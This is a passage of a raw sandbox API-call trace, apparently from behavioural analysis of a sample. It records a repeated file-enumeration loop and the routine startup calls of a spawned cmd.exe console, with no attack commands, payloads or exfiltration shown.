lpFindFileData=0x38aee10) returned 1 [0129.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0129.678] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aee10 | out: lpFindFileData=0x38aee10) returned 1 [0129.680] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0129.680] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aee10 | out: lpFindFileData=0x38aee10) returned 1 [0129.682] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0129.682] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aee10 | out: lpFindFileData=0x38aee10) returned 1 [0129.684] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0129.684] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aee10 | out: lpFindFileData=0x38aee10) returned 1 [0129.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0129.686] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aee10 | out: lpFindFileData=0x38aee10) returned 1 [0129.688] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0129.688] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aee10 | out: lpFindFileData=0x38aee10) returned 1 [0129.689] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0129.690] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aee10 | out: lpFindFileData=0x38aee10) returned 1 [0129.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0129.691] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aee10 | out: lpFindFileData=0x38aee10) returned 1 [0129.693] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0129.693] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aee10 | out: lpFindFileData=0x38aee10) returned 1 [0129.696] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0129.696] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aee10 | out: lpFindFileData=0x38aee10) returned 1 [0129.698] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0129.698] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aee10 | out: lpFindFileData=0x38aee10) returned 1 [0129.699] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0129.700] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aee10 | out: lpFindFileData=0x38aee10) returned 1 [0129.702] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0129.702] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aee10 | out: lpFindFileData=0x38aee10) returned 1 [0129.704] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0129.704] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aee10 | out: lpFindFileData=0x38aee10) returned 1 [0130.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0130.115] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aee10 | out: lpFindFileData=0x38aee10) returned 1 [0130.117] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0130.117] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aee10 | out: lpFindFileData=0x38aee10) returned 1 [0130.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0130.276] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aee10 | out: lpFindFileData=0x38aee10) returned 1 Thread: id = 28 os_tid = 0xfec Thread: id = 29 os_tid = 0xf60 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x11e87000" os_pid = "0xd98" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xff4" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0xcf0 [0107.573] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff65bbc0000 [0107.573] __set_app_type (_Type=0x1) [0107.573] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff65bbd6d00) returned 0x0 [0107.573] __getmainargs (in: _Argc=0x7ff65bbf9200, _Argv=0x7ff65bbf9208, _Env=0x7ff65bbf9210, _DoWildCard=0, _StartInfo=0x7ff65bbf921c | out: _Argc=0x7ff65bbf9200, _Argv=0x7ff65bbf9208, _Env=0x7ff65bbf9210) returned 0 [0107.573] _onexit (_Func=0x7ff65bbd7fd0) returned 0x7ff65bbd7fd0 [0107.573] _onexit (_Func=0x7ff65bbd7fe0) returned 0x7ff65bbd7fe0 [0107.573] _onexit (_Func=0x7ff65bbd7ff0) returned 0x7ff65bbd7ff0 [0107.573] _onexit (_Func=0x7ff65bbd8000) returned 0x7ff65bbd8000 [0107.574] _onexit (_Func=0x7ff65bbd8010) returned 0x7ff65bbd8010 [0107.574] _onexit (_Func=0x7ff65bbd8020) returned 0x7ff65bbd8020 [0107.574] GetCurrentThreadId () returned 0xcf0 [0107.574] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xcf0) returned 0x70 [0107.575] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0107.575] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990 [0107.575] SetThreadUILanguage (LangId=0x0) returned 0x409 [0107.650] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0107.650] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xf4e00ffa48 | out: phkResult=0xf4e00ffa48*=0x0) returned 0x2 [0107.650] VirtualQuery (in: lpAddress=0xf4e00ffa34, lpBuffer=0xf4e00ff9b0, dwLength=0x30 | out: lpBuffer=0xf4e00ff9b0*(BaseAddress=0xf4e00ff000, AllocationBase=0xf4e0000000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0107.650] VirtualQuery (in: lpAddress=0xf4e0000000, lpBuffer=0xf4e00ff9b0, dwLength=0x30 | out: lpBuffer=0xf4e00ff9b0*(BaseAddress=0xf4e0000000, AllocationBase=0xf4e0000000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0107.650] VirtualQuery (in: lpAddress=0xf4e0001000, lpBuffer=0xf4e00ff9b0, dwLength=0x30 | out: lpBuffer=0xf4e00ff9b0*(BaseAddress=0xf4e0001000, AllocationBase=0xf4e0000000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0107.650] VirtualQuery (in: lpAddress=0xf4e0004000, lpBuffer=0xf4e00ff9b0, dwLength=0x30 | out: lpBuffer=0xf4e00ff9b0*(BaseAddress=0xf4e0004000, AllocationBase=0xf4e0000000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0107.650] VirtualQuery (in: lpAddress=0xf4e0100000, lpBuffer=0xf4e00ff9b0, dwLength=0x30 | out: lpBuffer=0xf4e00ff9b0*(BaseAddress=0xf4e0100000, AllocationBase=0xf4e0100000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0107.650] GetConsoleOutputCP () returned 0x1b5 [0107.662] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff65bbffbb0 | out: lpCPInfo=0x7ff65bbffbb0) returned 1 [0107.662] SetConsoleCtrlHandler (HandlerRoutine=0x7ff65bbe8150, Add=1) returned 1 [0107.662] _get_osfhandle (_FileHandle=1) returned 0x254 [0107.662] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff65bbffc04 | out: lpMode=0x7ff65bbffc04) returned 0 [0107.662] _get_osfhandle (_FileHandle=0) returned 0x248 [0107.662] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff65bbffc00 | out: lpMode=0x7ff65bbffc00) returned 0 [0107.662] _get_osfhandle (_FileHandle=1) returned 0x254 [0107.662] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0107.662] _get_osfhandle (_FileHandle=1) returned 0x254 [0107.663] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff65bbffc08 | out: lpMode=0x7ff65bbffc08) returned 0 [0107.663] _get_osfhandle (_FileHandle=0) returned 0x248 [0107.663] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff65bbffc0c | out: lpMode=0x7ff65bbffc0c) returned 0 [0107.663] GetEnvironmentStringsW () returned 0x2dc22645a10* [0107.663] GetProcessHeap () returned 0x2dc22640000 [0107.663] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0xa7c) returned 0x2dc226464a0 [0107.663] FreeEnvironmentStringsA (penv="A") returned 1 [0107.663] GetProcessHeap () returned 0x2dc22640000 [0107.663] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0x8) returned 0x2dc22646f30 [0107.663] GetEnvironmentStringsW () returned 0x2dc22645a10* [0107.663] GetProcessHeap () returned 0x2dc22640000 [0107.663] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0xa7c) returned 0x2dc22646f50 [0107.663] FreeEnvironmentStringsA (penv="A") returned 1 [0107.663] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xf4e00fe8f8 | out: phkResult=0xf4e00fe8f8*=0x7c) returned 0x0 [0107.663] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xf4e00fe8f0, lpData=0xf4e00fe910, lpcbData=0xf4e00fe8f4*=0x1000 | out: lpType=0xf4e00fe8f0*=0x0, lpData=0xf4e00fe910*=0x4, lpcbData=0xf4e00fe8f4*=0x1000) returned 0x2 [0107.664] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xf4e00fe8f0, lpData=0xf4e00fe910, lpcbData=0xf4e00fe8f4*=0x1000 | out: lpType=0xf4e00fe8f0*=0x4, lpData=0xf4e00fe910*=0x1, lpcbData=0xf4e00fe8f4*=0x4) returned 0x0 [0107.664] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xf4e00fe8f0, lpData=0xf4e00fe910, lpcbData=0xf4e00fe8f4*=0x1000 | out: lpType=0xf4e00fe8f0*=0x0, lpData=0xf4e00fe910*=0x1, lpcbData=0xf4e00fe8f4*=0x1000) returned 0x2 [0107.664] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xf4e00fe8f0, lpData=0xf4e00fe910, lpcbData=0xf4e00fe8f4*=0x1000 | out: lpType=0xf4e00fe8f0*=0x4, lpData=0xf4e00fe910*=0x0, lpcbData=0xf4e00fe8f4*=0x4) returned 0x0 [0107.664] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xf4e00fe8f0, lpData=0xf4e00fe910, lpcbData=0xf4e00fe8f4*=0x1000 | out: lpType=0xf4e00fe8f0*=0x4, lpData=0xf4e00fe910*=0x40, lpcbData=0xf4e00fe8f4*=0x4) returned 0x0 [0107.664] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xf4e00fe8f0, lpData=0xf4e00fe910, lpcbData=0xf4e00fe8f4*=0x1000 | out: lpType=0xf4e00fe8f0*=0x4, lpData=0xf4e00fe910*=0x40, lpcbData=0xf4e00fe8f4*=0x4) returned 0x0 [0107.664] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xf4e00fe8f0, lpData=0xf4e00fe910, lpcbData=0xf4e00fe8f4*=0x1000 | out: lpType=0xf4e00fe8f0*=0x0, lpData=0xf4e00fe910*=0x40, lpcbData=0xf4e00fe8f4*=0x1000) returned 0x2 [0107.664] RegCloseKey (hKey=0x7c) returned 0x0 [0107.664] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xf4e00fe8f8 | out: phkResult=0xf4e00fe8f8*=0x7c) returned 0x0 [0107.664] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xf4e00fe8f0, lpData=0xf4e00fe910, lpcbData=0xf4e00fe8f4*=0x1000 | out: lpType=0xf4e00fe8f0*=0x0, lpData=0xf4e00fe910*=0x40, lpcbData=0xf4e00fe8f4*=0x1000) returned 0x2 [0107.664] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xf4e00fe8f0, lpData=0xf4e00fe910, lpcbData=0xf4e00fe8f4*=0x1000 | out: lpType=0xf4e00fe8f0*=0x4, lpData=0xf4e00fe910*=0x1, lpcbData=0xf4e00fe8f4*=0x4) returned 0x0 [0107.664] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xf4e00fe8f0, lpData=0xf4e00fe910, lpcbData=0xf4e00fe8f4*=0x1000 | out: lpType=0xf4e00fe8f0*=0x0, lpData=0xf4e00fe910*=0x1, lpcbData=0xf4e00fe8f4*=0x1000) returned 0x2 [0107.664] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xf4e00fe8f0, lpData=0xf4e00fe910, lpcbData=0xf4e00fe8f4*=0x1000 | out: lpType=0xf4e00fe8f0*=0x4, lpData=0xf4e00fe910*=0x0, lpcbData=0xf4e00fe8f4*=0x4) returned 0x0 [0107.664] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xf4e00fe8f0, lpData=0xf4e00fe910, lpcbData=0xf4e00fe8f4*=0x1000 | out: lpType=0xf4e00fe8f0*=0x4, lpData=0xf4e00fe910*=0x9, lpcbData=0xf4e00fe8f4*=0x4) returned 0x0 [0107.664] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xf4e00fe8f0, lpData=0xf4e00fe910, lpcbData=0xf4e00fe8f4*=0x1000 | out: lpType=0xf4e00fe8f0*=0x4, lpData=0xf4e00fe910*=0x9, lpcbData=0xf4e00fe8f4*=0x4) returned 0x0 [0107.664] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xf4e00fe8f0, lpData=0xf4e00fe910, lpcbData=0xf4e00fe8f4*=0x1000 | out: lpType=0xf4e00fe8f0*=0x0, lpData=0xf4e00fe910*=0x9, lpcbData=0xf4e00fe8f4*=0x1000) returned 0x2 [0107.664] RegCloseKey (hKey=0x7c) returned 0x0 [0107.664] time (in: timer=0x0 | out: timer=0x0) returned 0x5cb11dc2 [0107.664] srand (_Seed=0x5cb11dc2) [0107.664] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0107.664] malloc (_Size=0x4000) returned 0x2dc22a054f0 [0107.665] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0107.665] malloc (_Size=0xffce) returned 0x2dc22810080 [0107.665] ??_V@YAXPEAX@Z () returned 0x2dc22810080 [0107.666] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2dc22810080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0107.666] malloc (_Size=0xffce) returned 0x2dc22820060 [0107.666] ??_V@YAXPEAX@Z () returned 0x2dc22820060 [0107.667] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2dc22820060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0107.667] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff65bbfbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0107.667] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff65bbfbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0107.667] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff65bbfbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0107.667] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0107.667] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0107.667] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0107.667] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0107.667] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0107.667] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0107.667] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0107.667] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0107.667] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0107.667] GetProcessHeap () returned 0x2dc22640000 [0107.667] RtlFreeHeap (HeapHandle=0x2dc22640000, Flags=0x0, BaseAddress=0x2dc226464a0) returned 1 [0107.667] GetEnvironmentStringsW () returned 0x2dc22645a10* [0107.667] GetProcessHeap () returned 0x2dc22640000 [0107.667] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0xa94) returned 0x2dc22647a10 [0107.668] FreeEnvironmentStringsA (penv="A") returned 1 [0107.668] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff65bbfbb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0107.668] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff65bbfbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0107.668] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0107.668] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0107.668] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0107.668] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0107.668] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0107.668] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0107.668] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0107.668] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0107.668] malloc (_Size=0xffce) returned 0x2dc22830040 [0107.668] ??_V@YAXPEAX@Z () returned 0x2dc22830040 [0107.669] GetProcessHeap () returned 0x2dc22640000 [0107.669] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0x40) returned 0x2dc226484b0 [0107.669] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2dc22830040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0107.669] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x2dc22830040, lpFilePart=0xf4e00ff470 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xf4e00ff470*="Desktop") returned 0x17 [0107.669] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0107.670] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xf4e00ff1a0 | out: lpFindFileData=0xf4e00ff1a0) returned 0x2dc22648500 [0107.670] FindClose (in: hFindFile=0x2dc22648500 | out: hFindFile=0x2dc22648500) returned 1 [0107.670] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0xf4e00ff1a0 | out: lpFindFileData=0xf4e00ff1a0) returned 0x2dc22648500 [0107.670] FindClose (in: hFindFile=0x2dc22648500 | out: hFindFile=0x2dc22648500) returned 1 [0107.670] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0xf4e00ff1a0 | out: lpFindFileData=0xf4e00ff1a0) returned 0x2dc22648500 [0107.670] FindClose (in: hFindFile=0x2dc22648500 | out: hFindFile=0x2dc22648500) returned 1 [0107.670] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0107.670] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0107.671] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0107.671] GetProcessHeap () returned 0x2dc22640000 [0107.671] RtlFreeHeap (HeapHandle=0x2dc22640000, Flags=0x0, BaseAddress=0x2dc22647a10) returned 1 [0107.671] GetEnvironmentStringsW () returned 0x2dc22640fc0* [0107.671] GetProcessHeap () returned 0x2dc22640000 [0107.671] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0xacc) returned 0x2dc22648500 [0107.671] FreeEnvironmentStringsA (penv="=") returned 1 [0107.671] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2dc22810080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0107.671] GetProcessHeap () returned 0x2dc22640000 [0107.671] RtlFreeHeap (HeapHandle=0x2dc22640000, Flags=0x0, BaseAddress=0x2dc226484b0) returned 1 [0107.671] ??_V@YAXPEAX@Z () returned 0x1 [0107.671] ??_V@YAXPEAX@Z () returned 0x1 [0107.671] GetProcessHeap () returned 0x2dc22640000 [0107.671] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0x4016) returned 0x2dc22648fe0 [0107.672] GetProcessHeap () returned 0x2dc22640000 [0107.672] RtlFreeHeap (HeapHandle=0x2dc22640000, Flags=0x0, BaseAddress=0x2dc22648fe0) returned 1 [0107.672] GetConsoleOutputCP () returned 0x1b5 [0107.724] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff65bbffbb0 | out: lpCPInfo=0x7ff65bbffbb0) returned 1 [0107.724] GetUserDefaultLCID () returned 0x409 [0107.724] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff65bbfbb78, cchData=8 | out: lpLCData=":") returned 2 [0107.724] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xf4e00ff830, cchData=128 | out: lpLCData="0") returned 2 [0107.724] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xf4e00ff830, cchData=128 | out: lpLCData="0") returned 2 [0107.724] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xf4e00ff830, cchData=128 | out: lpLCData="1") returned 2 [0107.724] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff65bbfbb68, cchData=8 | out: lpLCData="/") returned 2 [0107.724] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff65bbfbb00, cchData=32 | out: lpLCData="Mon") returned 4 [0107.724] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff65bbfbac0, cchData=32 | out: lpLCData="Tue") returned 4 [0107.724] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff65bbfba80, cchData=32 | out: lpLCData="Wed") returned 4 [0107.725] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff65bbfba40, cchData=32 | out: lpLCData="Thu") returned 4 [0107.725] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff65bbfba00, cchData=32 | out: lpLCData="Fri") returned 4 [0107.725] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff65bbfb9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0107.725] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff65bbfb980, cchData=32 | out: lpLCData="Sun") returned 4 [0107.725] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff65bbfbb58, cchData=8 | out: lpLCData=".") returned 2 [0107.725] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff65bbfbb40, cchData=8 | out: lpLCData=",") returned 2 [0107.725] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0107.726] GetProcessHeap () returned 0x2dc22640000 [0107.727] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x0, Size=0x20c) returned 0x2dc22646560 [0107.727] GetConsoleTitleW (in: lpConsoleTitle=0x2dc22646560, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0107.798] _get_osfhandle (_FileHandle=1) returned 0x254 [0107.798] GetFileType (hFile=0x254) returned 0x3 [0107.831] ApiSetQueryApiSetPresence () returned 0x0 [0107.832] ResolveDelayLoadedAPI () returned 0x7ff9155bd990 [0107.991] BrandingFormatString () returned 0x2dc22641850 [0108.013] GetVersion () returned 0x3ad7000a [0108.014] _vsnwprintf (in: _Buffer=0xf4e00ff990, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0xf4e00ff928 | out: _Buffer="10.0.15063") returned 10 [0108.014] _get_osfhandle (_FileHandle=1) returned 0x254 [0108.014] GetFileType (hFile=0x254) returned 0x3 [0108.014] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff65bc07f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0108.014] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff65bc07f60, nSize=0x2000, Arguments=0xf4e00ff930 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0108.014] _get_osfhandle (_FileHandle=1) returned 0x254 [0108.014] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0108.014] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65bbf9970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0xf4e00ff888, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesWritten=0xf4e00ff888*=0x26, lpOverlapped=0x0) returned 1 [0108.014] _vsnwprintf (in: _Buffer=0x7ff65bc07f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xf4e00ff958 | out: _Buffer="\r\n") returned 2 [0108.014] _get_osfhandle 